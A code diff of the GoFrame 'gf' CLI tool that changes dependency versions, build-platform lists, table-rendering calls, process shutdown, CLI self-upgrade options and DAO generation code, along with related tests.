 golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
 golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
 golang.org/x/term v0.24.0/go.mod h1:lOBK/LVxemqiMij05LGJ0tzNr8xlmwBRJ81PX6wVLH8=
-golang.org/x/term v0.32.0 h1:DR4lr0TjUs3epypdhTOkMmuF5CDFJ/8pOnbzMZPQ7bg=
-golang.org/x/term v0.32.0/go.mod h1:uZG1FhGx848Sqfsq4/DlJr3xGGsYMu/L5GW4abiaEPQ=
+golang.org/x/term v0.34.0 h1:O/2T7POpk0ZZ7MAzMeWFSg6S5IpWd/RXDlM9hgM3DR4=
+golang.org/x/term v0.34.0/go.mod h1:5jC53AEywhIVebHgPVeg0mj8OD3VO9OzclacVrqpaAw=
 golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
 golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
-golang.org/x/text v0.25.0 h1:qVyWApTSYLk/drJRO5mDlNYskwQznZmkpV2c8q9zls4=
-golang.org/x/text v0.25.0/go.mod h1:WEdwpYrmk1qmdHvhkSTNPm3app7v4rsT8F2UD6+VHIA=
+golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
+golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
 golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
 golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
 golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
 golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
-golang.org/x/tools v0.26.0 h1:v/60pFQmzmT9ExmjDv2gGIfi3OqfKoEP6I5+umXlbnQ=
-golang.org/x/tools v0.26.0/go.mod h1:TPVVj70c7JJ3WCazhD8OdXcZg/og+b9+tH/KxylGwH0=
+golang.org/x/tools v0.35.0 h1:mBffYraMEf7aa0sB+NuKnuCy8qI/9Bughn8dC2Gu5r0=
+golang.org/x/tools v0.35.0/go.mod h1:NKdj5HkL/73byiZSJjqJgKn3ep7KjFkBOkR/Hps3VPw=
 golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
 golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=

cmd/gf/internal/cmd/cmd_build.go

@@ -30,10 +30,12 @@ import (
 	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 )
 
-var Build = cBuild{
-	nodeNameInConfigFile: "gfcli.build",
-	packedGoFileName:     "internal/packed/build_pack_data.go",
-}
+var (
+	Build = cBuild{
+		nodeNameInConfigFile: "gfcli.build",
+		packedGoFileName:     "internal/packed/build_pack_data.go",
+	}
+)
 
 type cBuild struct {
 	g.Meta               `name:"build" brief:"{cBuildBrief}" dc:"{cBuildDc}" eg:"{cBuildEg}" ad:"{cBuildAd}"`
@@ -63,67 +65,45 @@ It provides much more features for building binary:
 `
 	cBuildAd = `
 PLATFORMS
-    aix       ppc64
-    android   386,amd64,arm,arm64
     darwin    amd64,arm64
-    dragonfly amd64
     freebsd   386,amd64,arm
-    illumos   amd64
-    ios       arm64
-    js        wasm
-    linux     386,amd64,arm,arm64,loong64,mips,mipsle,mips64,mips64le,ppc64,ppc64le,riscv64,s390x
+    linux     386,amd64,arm,arm64,ppc64,ppc64le,mips,mipsle,mips64,mips64le
     netbsd    386,amd64,arm
-    openbsd   386,amd64,arm,arm64
-    plan9     386,amd64,arm
-    solaris   amd64
-    wasip1    wasm
-    windows   386,amd64,arm,arm64
+    openbsd   386,amd64,arm
+    windows   386,amd64
 `
 	// https://golang.google.cn/doc/install/source
 	cBuildPlatforms = `
-aix       ppc64
-android   386
-android   amd64
-android   arm
-android   arm64
 darwin    amd64
 darwin    arm64
-dragonfly amd64
+ios       amd64
+ios       arm64
 freebsd   386
 freebsd   amd64
 freebsd   arm
-illumos   amd64
-ios       arm64
-js        wasm
 linux     386
 linux     amd64
 linux     arm
 linux     arm64
-linux     loong64
+linux     ppc64
+linux     ppc64le
 linux     mips
 linux     mipsle
 linux     mips64
 linux     mips64le
-linux     ppc64
-linux     ppc64le
-linux     riscv64
-linux     s390x
 netbsd    386
 netbsd    amd64
 netbsd    arm
 openbsd   386
 openbsd   amd64
 openbsd   arm
-openbsd   arm64
-plan9     386
-plan9     amd64
-plan9     arm
-solaris   amd64
-wasip1    wasm
 windows   386
 windows   amd64
-windows   arm
-windows   arm64
+android   arm
+dragonfly amd64
+plan9     386
+plan9     amd64
+solaris   amd64
 `
 )
 

cmd/gf/internal/cmd/cmd_env.go

@@ -11,8 +11,6 @@ import (
 	"context"
 
 	"github.com/olekukonko/tablewriter"
-	"github.com/olekukonko/tablewriter/renderer"
-	"github.com/olekukonko/tablewriter/tw"
 
 	"github.com/gogf/gf/v2/frame/g"
 	"github.com/gogf/gf/v2/os/gproc"
@@ -63,23 +61,10 @@ func (c cEnv) Index(ctx context.Context, in cEnvInput) (out *cEnvOutput, err err
 		}
 		array = append(array, []string{gstr.Trim(match[1]), gstr.Trim(match[2])})
 	}
-	table := tablewriter.NewTable(buffer,
-		tablewriter.WithRenderer(renderer.NewBlueprint(tw.Rendition{
-			Settings: tw.Settings{
-				Separators: tw.Separators{BetweenRows: tw.Off, BetweenColumns: tw.On},
-			},
-			Symbols: tw.NewSymbols(tw.StyleASCII),
-		})),
-		tablewriter.WithConfig(tablewriter.Config{
-			Row: tw.CellConfig{
-				Formatting:   tw.CellFormatting{AutoWrap: tw.WrapNone},
-				Alignment:    tw.CellAlignment{PerColumn: []tw.Align{tw.AlignLeft, tw.AlignLeft}},
-				ColMaxWidths: tw.CellWidth{Global: 84},
-			},
-		}),
-	)
-	table.Bulk(array)
-	table.Render()
+	tw := tablewriter.NewWriter(buffer)
+	tw.SetColumnAlignment([]int{tablewriter.ALIGN_LEFT, tablewriter.ALIGN_LEFT})
+	tw.AppendBulk(array)
+	tw.Render()
 	mlog.Print(buffer.String())
 	return
 }

cmd/gf/internal/cmd/cmd_run.go

@@ -13,7 +13,6 @@ import (
 	"path/filepath"
 	"runtime"
 	"strings"
-	"time"
 
 	"github.com/gogf/gf/v2/container/gtype"
 	"github.com/gogf/gf/v2/frame/g"
@@ -27,7 +26,9 @@ import (
 	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 )
 
-var Run = cRun{}
+var (
+	Run = cRun{}
+)
 
 type cRun struct {
 	g.Meta `name:"run" usage:"{cRunUsage}" brief:"{cRunBrief}" eg:"{cRunEg}" dc:"{cRunDc}"`
@@ -61,7 +62,9 @@ which compiles and runs the go codes asynchronously when codes change.
 	cRunWatchPathsBrief = `watch additional paths for live reload, separated by ",". i.e. "manifest/config/*.yaml"`
 )
 
-var process *gproc.Process
+var (
+	process *gproc.Process
+)
 
 func init() {
 	gtag.Sets(g.MapStrStr{
@@ -115,12 +118,8 @@ func (c cRun) Index(ctx context.Context, in cRunInput) (out *cRunOutput, err err
 	}
 	dirty := gtype.NewBool()
 
-	outputPath := app.genOutputPath()
+	var outputPath = app.genOutputPath()
 	callbackFunc := func(event *gfsnotify.Event) {
-		if !event.IsWrite() && !event.IsCreate() && !event.IsRemove() && !event.IsRename() {
-			return
-		}
-
 		if gfile.ExtName(event.Path) != "go" {
 			return
 		}
@@ -208,37 +207,8 @@ func (app *cRunApp) End(ctx context.Context, sig os.Signal, outputPath string) {
 	// Delete the binary file.
 	// firstly, kill the process.
 	if process != nil {
-		if sig != nil && runtime.GOOS != "windows" {
-			if err := process.Signal(sig); err != nil {
-				mlog.Debugf("send signal to process error: %s", err.Error())
-				if err := process.Kill(); err != nil {
-					mlog.Debugf("kill process error: %s", err.Error())
-				}
-			} else {
-				waitCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
-				defer cancel()
-				done := make(chan error, 1)
-				go func() {
-					select {
-					case <-waitCtx.Done():
-						done <- waitCtx.Err()
-					case done <- process.Wait():
-					}
-				}()
-				err := <-done
-				if err != nil {
-					mlog.Debugf("process wait error: %s", err.Error())
-					if err := process.Kill(); err != nil {
-						mlog.Debugf("kill process error: %s", err.Error())
-					}
-				} else {
-					mlog.Debug("process exited gracefully")
-				}
-			}
-		} else {
-			if err := process.Kill(); err != nil {
-				mlog.Debugf("kill process error: %s", err.Error())
-			}
+		if err := process.Kill(); err != nil {
+			mlog.Debugf("kill process error: %s", err.Error())
 		}
 	}
 	if err := gfile.RemoveFile(outputPath); err != nil {

cmd/gf/internal/cmd/cmd_up.go

@@ -15,7 +15,6 @@ import (
 
 	"github.com/gogf/gf/v2/container/gset"
 	"github.com/gogf/gf/v2/frame/g"
-	"github.com/gogf/gf/v2/os/genv"
 	"github.com/gogf/gf/v2/os/gfile"
 	"github.com/gogf/gf/v2/os/gproc"
 	"github.com/gogf/gf/v2/text/gstr"
@@ -40,11 +39,7 @@ gf up
 gf up -a
 gf up -c
 gf up -cf
-gf up -a -m=install
-gf up -a -m=install -p=github.com/gogf/gf/cmd/gf/v2@latest
 `
-	cliMethodHttpDownload = "http"
-	cliMethodGoInstall    = "install"
 )
 
 func init() {
@@ -54,14 +49,10 @@ func init() {
 }
 
 type cUpInput struct {
-	g.Meta               `name:"up" config:"gfcli.up"`
-	All                  bool   `name:"all" short:"a" brief:"upgrade both version and cli, auto fix codes" orphan:"true"`
-	Cli                  bool   `name:"cli" short:"c" brief:"also upgrade CLI tool" orphan:"true"`
-	Fix                  bool   `name:"fix" short:"f" brief:"auto fix codes(it only make sense if cli is to be upgraded)" orphan:"true"`
-	CliDownloadingMethod string `name:"cli-download-method" short:"m" brief:"cli upgrade method: http=download binary via HTTP GET, install=upgrade via go install" d:"http"`
-	// CliModulePath specifies the module path for CLI installation via go install.
-	// This is used when CliDownloadingMethod is set to "install".
-	CliModulePath string `name:"cli-module-path" short:"p" brief:"custom cli module path for upgrade CLI tool with go install method" d:"github.com/gogf/gf/cmd/gf/v2@latest"`
+	g.Meta `name:"up" config:"gfcli.up"`
+	All    bool `name:"all" short:"a" brief:"upgrade both version and cli, auto fix codes" orphan:"true"`
+	Cli    bool `name:"cli" short:"c" brief:"also upgrade CLI tool" orphan:"true"`
+	Fix    bool `name:"fix" short:"f" brief:"auto fix codes(it only make sense if cli is to be upgraded)" orphan:"true"`
 }
 
 type cUpOutput struct{}
@@ -85,7 +76,7 @@ func (c cUp) Index(ctx context.Context, in cUpInput) (out *cUpOutput, err error)
 	}
 
 	if in.Cli {
-		if err = c.doUpgradeCLI(ctx, in); err != nil {
+		if err = c.doUpgradeCLI(ctx); err != nil {
 			return nil, err
 		}
 	}
@@ -179,22 +170,8 @@ func (c cUp) doUpgradeVersion(ctx context.Context, in cUpInput) (out *doUpgradeV
 }
 
 // doUpgradeCLI downloads the new version binary with process.
-func (c cUp) doUpgradeCLI(ctx context.Context, in cUpInput) (err error) {
+func (c cUp) doUpgradeCLI(ctx context.Context) (err error) {
 	mlog.Print(`start upgrading cli...`)
-	fmt.Println(` cli upgrade method:`, in.CliDownloadingMethod)
-	switch in.CliDownloadingMethod {
-	case cliMethodHttpDownload:
-		return c.doUpgradeCLIWithHttpDownload(ctx)
-	case cliMethodGoInstall:
-		return c.doUpgradeCLIWithGoInstall(ctx, in)
-	default:
-		mlog.Fatalf(`invalid cli upgrade method: "%s", please use "http" or "install"`, in.CliDownloadingMethod)
-	}
-	return
-}
-
-func (c cUp) doUpgradeCLIWithHttpDownload(ctx context.Context) (err error) {
-	mlog.Print(`start upgrading cli with http get download...`)
 	var (
 		downloadUrl = fmt.Sprintf(
 			`https://github.com/gogf/gf/releases/latest/download/gf_%s_%s`,
@@ -236,41 +213,6 @@ func (c cUp) doUpgradeCLIWithHttpDownload(ctx context.Context) (err error) {
 	return
 }
 
-func (c cUp) doUpgradeCLIWithGoInstall(ctx context.Context, in cUpInput) (err error) {
-	mlog.Print(`upgrading cli with go install...`)
-	if !genv.Contains("GOPATH") {
-		mlog.Fatal(`"GOPATH" environment variable does not exist, please check your go installation`)
-	}
-
-	command := fmt.Sprintf(`go install %s`, in.CliModulePath)
-	mlog.Printf(`running command: %s`, command)
-	err = gproc.ShellRun(ctx, command)
-	if err != nil {
-		return err
-	}
-
-	cliFilePath := gfile.Join(genv.Get("GOPATH").String(), "bin/gf")
-	if runtime.GOOS == "windows" {
-		cliFilePath += ".exe"
-	}
-
-	// It fails if file not exist or its size is less than 1MB.
-	if !gfile.Exists(cliFilePath) || gfile.Size(cliFilePath) < 1024*1024 {
-		mlog.Fatalf(`go install %s failed, "%s" does not exist or its size is less than 1MB`, in.CliModulePath, cliFilePath)
-	}
-
-	newFile, err := gfile.Open(cliFilePath)
-	if err != nil {
-		return err
-	}
-	// selfupdate
-	err = selfupdate.Apply(newFile, selfupdate.Options{})
-	if err != nil {
-		return err
-	}
-	return
-}
-
 func (c cUp) doAutoFixing(ctx context.Context, dirPath string, version string) (err error) {
 	mlog.Printf(`auto fixing directory path "%s" from version "%s" ...`, dirPath, version)
 	command := fmt.Sprintf(`gf fix -p %s`, dirPath)

cmd/gf/internal/cmd/cmd_z_unit_build_test.go

@@ -104,7 +104,7 @@ func Test_Build_Single_VarMap(t *testing.T) {
 
 		t.Assert(gfile.Exists(binaryPath), false)
 		_, err = f.Index(ctx, cBuildInput{
-			VarMap: map[string]any{
+			VarMap: map[string]interface{}{
 				"a": "1",
 				"b": "2",
 			},

cmd/gf/internal/cmd/cmd_z_unit_gen_dao_issue_test.go

@@ -66,7 +66,6 @@ func Test_Gen_Dao_Issue2572(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping:        nil,
 				FieldMapping:       nil,
 			}
@@ -156,7 +155,6 @@ func Test_Gen_Dao_Issue2616(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping:        nil,
 				FieldMapping:       nil,
 			}
@@ -268,7 +266,6 @@ func Test_Gen_Dao_Issue2746(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping:        nil,
 				FieldMapping:       nil,
 			}
@@ -341,7 +338,6 @@ func Test_Gen_Dao_Issue3459(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping:        nil,
 			}
 		)
@@ -382,7 +378,7 @@ func Test_Gen_Dao_Issue3459(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			//_ = gfile.PutContents(expectFiles[i], gfile.GetContents(files[i]))
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}
@@ -454,7 +450,7 @@ func Test_Gen_Dao_Issue3749(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			//_ = gfile.PutContents(expectFiles[i], gfile.GetContents(files[i]))
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}

cmd/gf/internal/cmd/cmd_z_unit_gen_dao_test.go

@@ -69,7 +69,6 @@ func Test_Gen_Dao_Default(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping:        nil,
 				FieldMapping:       nil,
 			}
@@ -108,7 +107,7 @@ func Test_Gen_Dao_Default(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}
 	})
@@ -162,7 +161,6 @@ func Test_Gen_Dao_TypeMapping(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping: map[gendao.DBFieldTypeName]gendao.CustomAttributeType{
 					"int": {
 						Type:   "int64",
@@ -210,7 +208,7 @@ func Test_Gen_Dao_TypeMapping(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			//_ = gfile.PutContents(expectFiles[i], gfile.GetContents(files[i]))
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}
@@ -265,7 +263,6 @@ func Test_Gen_Dao_FieldMapping(t *testing.T) {
 				NoJsonTag:          false,
 				NoModelComment:     false,
 				Clear:              false,
-				GenTable:           false,
 				TypeMapping: map[gendao.DBFieldTypeName]gendao.CustomAttributeType{
 					"int": {
 						Type:   "int64",
@@ -314,7 +311,7 @@ func Test_Gen_Dao_FieldMapping(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			//_ = gfile.PutContents(expectFiles[i], gfile.GetContents(files[i]))
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}
@@ -406,7 +403,7 @@ func Test_Gen_Dao_Sqlite3(t *testing.T) {
 			filepath.FromSlash(testPath + "/model/do/table_user.go"),
 			filepath.FromSlash(testPath + "/model/entity/table_user.go"),
 		}
-		for i := range files {
+		for i, _ := range files {
 			//_ = gfile.PutContents(expectFiles[i], gfile.GetContents(files[i]))
 			t.Assert(gfile.GetContents(files[i]), gfile.GetContents(expectFiles[i]))
 		}

cmd/gf/internal/cmd/cmd_z_unit_gen_pb_test.go

@@ -55,7 +55,7 @@ func TestGenPbIssue3882(t *testing.T) {
 func TestGenPbIssue3953(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var (
-			outputPath     = gfile.Temp("f" + guid.S())
+			outputPath     = gfile.Temp(guid.S())
 			outputApiPath  = filepath.Join(outputPath, "api")
 			outputCtrlPath = filepath.Join(outputPath, "controller")
 

cmd/gf/internal/cmd/genctrl/genctrl.go

@@ -9,14 +9,13 @@ package genctrl
 import (
 	"context"
 
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 	"github.com/gogf/gf/v2/container/gset"
 	"github.com/gogf/gf/v2/frame/g"
 	"github.com/gogf/gf/v2/os/gfile"
 	"github.com/gogf/gf/v2/os/gtime"
 	"github.com/gogf/gf/v2/util/gconv"
 	"github.com/gogf/gf/v2/util/gtag"
-
-	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
 )
 
 const (

cmd/gf/internal/cmd/gendao/gendao.go

@@ -11,9 +11,6 @@ import (
 	"fmt"
 	"strings"
 
-	"github.com/olekukonko/tablewriter"
-	"github.com/olekukonko/tablewriter/renderer"
-	"github.com/olekukonko/tablewriter/tw"
 	"golang.org/x/mod/modfile"
 
 	"github.com/gogf/gf/v2/container/garray"
@@ -47,10 +44,8 @@ type (
 		JsonCase           string   `name:"jsonCase"            short:"j"  brief:"{CGenDaoBriefJsonCase}" d:"CamelLower"`
 		ImportPrefix       string   `name:"importPrefix"        short:"i"  brief:"{CGenDaoBriefImportPrefix}"`
 		DaoPath            string   `name:"daoPath"             short:"d"  brief:"{CGenDaoBriefDaoPath}" d:"dao"`
-		TablePath          string   `name:"tablePath"           short:"tp" brief:"{CGenDaoBriefTablePath}" d:"table"`
 		DoPath             string   `name:"doPath"              short:"o"  brief:"{CGenDaoBriefDoPath}" d:"model/do"`
 		EntityPath         string   `name:"entityPath"          short:"e"  brief:"{CGenDaoBriefEntityPath}" d:"model/entity"`
-		TplDaoTablePath    string   `name:"tplDaoTablePath"     short:"t0" brief:"{CGenDaoBriefTplDaoTablePath}"`
 		TplDaoIndexPath    string   `name:"tplDaoIndexPath"     short:"t1" brief:"{CGenDaoBriefTplDaoIndexPath}"`
 		TplDaoInternalPath string   `name:"tplDaoInternalPath"  short:"t2" brief:"{CGenDaoBriefTplDaoInternalPath}"`
 		TplDaoDoPath       string   `name:"tplDaoDoPath"        short:"t3" brief:"{CGenDaoBriefTplDaoDoPathPath}"`
@@ -63,7 +58,6 @@ type (
 		NoJsonTag          bool     `name:"noJsonTag"           short:"k"  brief:"{CGenDaoBriefNoJsonTag}" orphan:"true"`
 		NoModelComment     bool     `name:"noModelComment"      short:"m"  brief:"{CGenDaoBriefNoModelComment}" orphan:"true"`
 		Clear              bool     `name:"clear"               short:"a"  brief:"{CGenDaoBriefClear}" orphan:"true"`
-		GenTable           bool     `name:"genTable"            short:"gt" brief:"{CGenDaoBriefGenTable}" orphan:"true"`
 
 		TypeMapping  map[DBFieldTypeName]CustomAttributeType  `name:"typeMapping"  short:"y"  brief:"{CGenDaoBriefTypeMapping}"  orphan:"true"`
 		FieldMapping map[DBTableFieldName]CustomAttributeType `name:"fieldMapping" short:"fm" brief:"{CGenDaoBriefFieldMapping}" orphan:"true"`
@@ -105,20 +99,6 @@ var (
 			Type: "float64",
 		},
 	}
-
-	// tablewriter Options
-	twRenderer = tablewriter.WithRenderer(renderer.NewBlueprint(tw.Rendition{
-		Borders: tw.Border{Top: tw.Off, Bottom: tw.Off, Left: tw.Off, Right: tw.Off},
-		Settings: tw.Settings{
-			Separators: tw.Separators{BetweenRows: tw.Off, BetweenColumns: tw.Off},
-		},
-		Symbols: tw.NewSymbols(tw.StyleASCII),
-	}))
-	twConfig = tablewriter.WithConfig(tablewriter.Config{
-		Row: tw.CellConfig{
-			Formatting: tw.CellFormatting{AutoWrap: tw.WrapNone},
-		},
-	})
 )
 
 func (c CGenDao) Dao(ctx context.Context, in CGenDaoInput) (out *CGenDaoOutput, err error) {
@@ -193,29 +173,8 @@ func doGenDaoForArray(ctx context.Context, index int, in CGenDaoInput) {
 	// Table excluding.
 	if in.TablesEx != "" {
 		array := garray.NewStrArrayFrom(tableNames)
-		for _, p := range gstr.SplitAndTrim(in.TablesEx, ",") {
-			if gstr.Contains(p, "*") || gstr.Contains(p, "?") {
-				p = gstr.ReplaceByMap(p, map[string]string{
-					"\r": "",
-					"\n": "",
-				})
-				p = gstr.ReplaceByMap(p, map[string]string{
-					"*": "\r",
-					"?": "\n",
-				})
-				p = gregex.Quote(p)
-				p = gstr.ReplaceByMap(p, map[string]string{
-					"\r": ".*",
-					"\n": ".",
-				})
-				for _, v := range array.Clone().Slice() {
-					if gregex.IsMatchString(p, v) {
-						array.RemoveValue(v)
-					}
-				}
-			} else {
-				array.RemoveValue(p)
-			}
+		for _, v := range gstr.SplitAndTrim(in.TablesEx, ",") {
+			array.RemoveValue(v)
 		}
 		tableNames = array.Slice()
 	}
@@ -282,14 +241,6 @@ func doGenDaoForArray(ctx context.Context, index int, in CGenDaoInput) {
 		NewTableNames:    newTableNames,
 		ShardingTableSet: shardingNewTableSet,
 	})
-	// Table: table fields.
-	generateTable(ctx, CGenDaoInternalInput{
-		CGenDaoInput:     in,
-		DB:               db,
-		TableNames:       tableNames,
-		NewTableNames:    newTableNames,
-		ShardingTableSet: shardingNewTableSet,
-	})
 	// Do.
 	generateDo(ctx, CGenDaoInternalInput{
 		CGenDaoInput:  in,

cmd/gf/internal/cmd/gendao/gendao_dao.go

@@ -211,9 +211,13 @@ func generateColumnNamesForDao(fieldMap map[string]*gdb.TableField, removeFieldP
 			fmt.Sprintf(` #"%s",`, field.Name),
 		}
 	}
-	table := tablewriter.NewTable(buffer, twRenderer, twConfig)
-	table.Bulk(array)
-	table.Render()
+	tw := tablewriter.NewWriter(buffer)
+	tw.SetBorder(false)
+	tw.SetRowLine(false)
+	tw.SetAutoWrapText(false)
+	tw.SetColumnSeparator("")
+	tw.AppendBulk(array)
+	tw.Render()
 	namesContent := buffer.String()
 	// Let's do this hack of table writer for indent!
 	namesContent = gstr.Replace(namesContent, "  #", "")
@@ -248,9 +252,13 @@ func generateColumnDefinitionForDao(fieldMap map[string]*gdb.TableField, removeF
 			" #" + fmt.Sprintf(`// %s`, comment),
 		}
 	}
-	table := tablewriter.NewTable(buffer, twRenderer, twConfig)
-	table.Bulk(array)
-	table.Render()
+	tw := tablewriter.NewWriter(buffer)
+	tw.SetBorder(false)
+	tw.SetRowLine(false)
+	tw.SetAutoWrapText(false)
+	tw.SetColumnSeparator("")
+	tw.AppendBulk(array)
+	tw.Render()
 	defineContent := buffer.String()
 	// Let's do this hack of table writer for indent!
 	defineContent = gstr.Replace(defineContent, "  #", "")

cmd/gf/internal/cmd/gendao/gendao_do.go

@@ -45,14 +45,14 @@ func generateDo(ctx context.Context, in CGenDaoInternalInput) {
 				IsDo:                 true,
 			})
 		)
-		// replace all types to any.
+		// replace all types to interface{}.
 		structDefinition, _ = gregex.ReplaceStringFuncMatch(
 			"([A-Z]\\w*?)\\s+([\\w\\*\\.]+?)\\s+(//)",
 			structDefinition,
 			func(match []string) string {
 				// If the type is already a pointer/slice/map, it does nothing.
 				if !gstr.HasPrefix(match[2], "*") && !gstr.HasPrefix(match[2], "[]") && !gstr.HasPrefix(match[2], "map") {
-					return fmt.Sprintf(`%s any %s`, match[1], match[3])
+					return fmt.Sprintf(`%s interface{} %s`, match[1], match[3])
 				}
 				return match[0]
 			},

cmd/gf/internal/cmd/gendao/gendao_structure.go

@@ -41,55 +41,28 @@ func generateStructDefinition(ctx context.Context, in generateStructDefinitionIn
 			appendImports = append(appendImports, imports)
 		}
 	}
-	table := tablewriter.NewTable(buffer, twRenderer, twConfig)
-	table.Bulk(array)
-	table.Render()
+	tw := tablewriter.NewWriter(buffer)
+	tw.SetBorder(false)
+	tw.SetRowLine(false)
+	tw.SetAutoWrapText(false)
+	tw.SetColumnSeparator("")
+	tw.AppendBulk(array)
+	tw.Render()
 	stContent := buffer.String()
 	// Let's do this hack of table writer for indent!
 	stContent = gstr.Replace(stContent, "  #", "")
 	stContent = gstr.Replace(stContent, "` ", "`")
 	stContent = gstr.Replace(stContent, "``", "")
 	buffer.Reset()
-	fmt.Fprintf(buffer, "type %s struct {\n", in.StructName)
+	buffer.WriteString(fmt.Sprintf("type %s struct {\n", in.StructName))
 	if in.IsDo {
-		fmt.Fprintf(buffer, "g.Meta `orm:\"table:%s, do:true\"`\n", in.TableName)
+		buffer.WriteString(fmt.Sprintf("g.Meta `orm:\"table:%s, do:true\"`\n", in.TableName))
 	}
 	buffer.WriteString(stContent)
 	buffer.WriteString("}")
 	return buffer.String(), appendImports
 }
 
-func getTypeMappingInfo(
-	ctx context.Context, fieldType string, inTypeMapping map[DBFieldTypeName]CustomAttributeType,
-) (typeNameStr, importStr string) {
-	if typeMapping, ok := inTypeMapping[strings.ToLower(fieldType)]; ok {
-		typeNameStr = typeMapping.Type
-		importStr = typeMapping.Import
-		return
-	}
-	tryTypeMatch, _ := gregex.MatchString(`(.+?)\(([^\(\)]+)\)([\s\)]*)`, fieldType)
-	var (
-		tryTypeName string
-		moreTry     bool
-	)
-	if len(tryTypeMatch) == 4 {
-		tryTypeMatch3, _ := gregex.ReplaceString(`\s+`, "", tryTypeMatch[3])
-		tryTypeName = gstr.Trim(tryTypeMatch[1]) + tryTypeMatch3
-		moreTry = tryTypeMatch3 != ""
-	} else {
-		tryTypeName = gstr.Split(fieldType, " ")[0]
-	}
-	if tryTypeName != "" {
-		if typeMapping, ok := inTypeMapping[strings.ToLower(tryTypeName)]; ok {
-			typeNameStr = typeMapping.Type
-			importStr = typeMapping.Import
-		} else if moreTry {
-			typeNameStr, importStr = getTypeMappingInfo(ctx, tryTypeName, inTypeMapping)
-		}
-	}
-	return
-}
-
 // generateStructFieldDefinition generates and returns the attribute definition for specified field.
 func generateStructFieldDefinition(
 	ctx context.Context, field *gdb.TableField, in generateStructDefinitionInput,
@@ -102,7 +75,21 @@ func generateStructFieldDefinition(
 	)
 
 	if in.TypeMapping != nil && len(in.TypeMapping) > 0 {
-		localTypeNameStr, appendImport = getTypeMappingInfo(ctx, field.Type, in.TypeMapping)
+		var (
+			tryTypeName string
+		)
+		tryTypeMatch, _ := gregex.MatchString(`(.+?)\((.+)\)`, field.Type)
+		if len(tryTypeMatch) == 3 {
+			tryTypeName = gstr.Trim(tryTypeMatch[1])
+		} else {
+			tryTypeName = gstr.Split(field.Type, " ")[0]
+		}
+		if tryTypeName != "" {
+			if typeMapping, ok := in.TypeMapping[strings.ToLower(tryTypeName)]; ok {
+				localTypeNameStr = typeMapping.Type
+				appendImport = typeMapping.Import
+			}
+		}
 	}
 
 	if localTypeNameStr == "" {

cmd/gf/internal/cmd/gendao/gendao_table.go

@@ -1,147 +0,0 @@
